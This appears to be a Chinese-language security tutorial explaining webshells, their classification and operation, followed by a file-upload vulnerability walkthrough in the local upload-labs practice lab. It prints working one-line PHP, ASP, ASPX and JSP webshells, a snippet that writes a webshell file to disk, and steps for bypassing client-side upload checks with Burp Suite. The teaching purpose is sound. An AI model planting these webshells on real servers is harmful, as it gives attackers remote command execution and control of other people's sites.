一 webshell介绍
1.什么是webshell
webshell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称作为一种网页木马后门。
攻击者可以通过这种网页后门获得网站服务器操作权限,控制网站服务器以进行上传下载文件、查看数据库、执行命令等...
2.什么是木马
全称“特洛伊木马(Trojan Horse)”,指寄宿在计算机里的一种非授权的远程控制程序,它可以在计算机管理员未发觉的情况下,开放系统权限、泄露用户信息给攻击者,是黑客常用的工具之一。
3.什么是后门
后门:一台计算机上有65535个端口,每个端口是计算机与外界连接所开启的“门”,每个门都有计算机提供的一种服务,攻击者利用这些服务获取服务器的权限,给自己进入计算机留下一个后门。
4.webshell的分类
① 根据文件大小分类
- 一句话木马:代码简短,通常只有一行代码,使用方便
- 小马:只包含文件上传功能,体积小
- 大马:体积大,包含很多功能,代码通常会进行加密隐藏
② 根据脚本类型分类:
- jsp
- asp
- aspx
- php
5.webshell特点
- webshell大多以动态脚本的形式出现
- webshell就是一个asp或php木马后门
- webshell可以穿越服务器防火墙,攻击者与被控服务器交换数据都是通过80端口传递
- webshell一般不会在系统日志里留下记录,只会在web日志中留下数据传递记录
6.webshell攻击流程
① 利用web漏洞获取web权限
② 上传小马
③ 上传大马
④ 远程调用webshell执行命令
7.常见的webshell
php:
<?php eval($_GET[pass]);?>
<?php eval($_POST[pass]);p?>
//eval——把字符串作为php代码执行
ASP:
<%eval request("pass")%>
ASPX:
<%@ Page Language="Jscript"%> <%eval(Request.ltem["pass"])%>
JSP:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
二 webshell基本原理
1.基本原理
1)可执行脚本 HTTP数据包($_GET、$_POST、$_COOKIKES)
2)数据传递
3)执行传递的数据
- 直接执行(eval、system、passthru)
- 文件包含执行(include、require)
- 动态函数执行($a= "phpinfo" ;$a(); )
- 回调函数(array_map等)
2.常见php webshell
GET方式:<?php eval($_GET[pass]);?>
POST方式:<?php eval($_POST[pass]);?>
Cookie:<?php @$a = $_COOKIE[1];$b = '';$c = '';@assert($b.$a);?>
测试:
① 在phpstudy的www文件夹下建立webshell文件夹
② 在文件夹下写入set.php文件
③ 访问
页面没有报错,说明正常
④ 连接中国蚁剑
3.一句话写小马
<?php fputs(fopen("up.php","w"),'<?php eval($_POST["cmd"])?>');?>
//通过fopen函数,向当前目录下写入up.php为文件名,内容是一句话木马的文件
浏览器访问
它就会在文件夹里自动生成一个up.php文件
三 webshell管理工具
1.工具
- 中国菜刀(比较老了已经)
- cknife
- 中国蚁剑
- 冰蝎(Behinder)
四 文件上传
1.什么是文件上传
将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务器端硬盘上作为真实的文件保存。
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。
2.文件上传产生漏洞的原因
- 服务器配置不当
- 文件上传限制被绕过
- 开源编辑器的上传漏洞
- 文件解析漏洞导致文件执行
- 过滤不严或被绕过
3.文件上传漏洞的危害
上传文件的时候,如果服务器端脚本语言未对上传的文件进行严格的验证和过滤,就容易造成上传任意文件的情况。
攻击者通过上传恶意文件传递给解释器去执行,然后就可以在服务器上执行恶意代码,进行数据库执行、服务器文件管理、命令执行等恶意操作。从而控制整个网站,甚至是服务器。这个恶意文件(php、asp、aspx、jsp等),又被称为webshell。
4.可能存在漏洞的位置
- 图片上传功能
- 头像上传功能
- 文档上传功能
5.文件上传检测方式
一般一个文件上传过程中的检测方式有:
- 客户端JavaScript检测(检测文件拓展名)
- 服务端MIME类型检测(检测content-type内容)
- 服务端目录路径检测(检测跟path参数相关的内容)
- 服务端文件扩展名检测(检测跟文件extension相关的内容)
- 服务端文件内容检测(检测内容是否合法是否含有恶意代码)等
6.文件上传绕过
1)绕过客户端检测
原理:
通常在上传页面中含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和拓展名是否合法。
方法:
在本地浏览器客户端禁用JS即可,可以使用火狐浏览器的Noscript插件、IE中禁用JS等方法实现。
测试:
靶场搭建
1.将upload-labs压缩包解压缩到phpstudy的www目录下
2.对文件名更改为upload-labs
3.打开phpstudy相应环境
4.在浏览器访问127.0.0.1/upload-labs即可访问靶场
靶场界面如图
Pass-01
1.用vscode打开文件夹,并创建一个文件
以上,写入简单免杀的一句话木马
发现无法上传的提示
对文件扩展名做出提取,再根据js中允许的文件类型进行匹配,如果是允许的扩展名就允许上传。
查看页面源码
使用了白名单对上传文件进行限制
方式1:——打开页面调试器,选择“禁用JavaScript”,对检测进行绕过
再次上传文件
显示../upload文件夹不存在,那么我们在www的upload-labs文件夹下创建upload文件夹
文件上传成功。
方式2
① 打开.png文件进行上传
② 打开Burpsuite进行抓包
此时前端的检测已经被绕过
③ 更改上传文件为.php后缀
④ 文件已经上传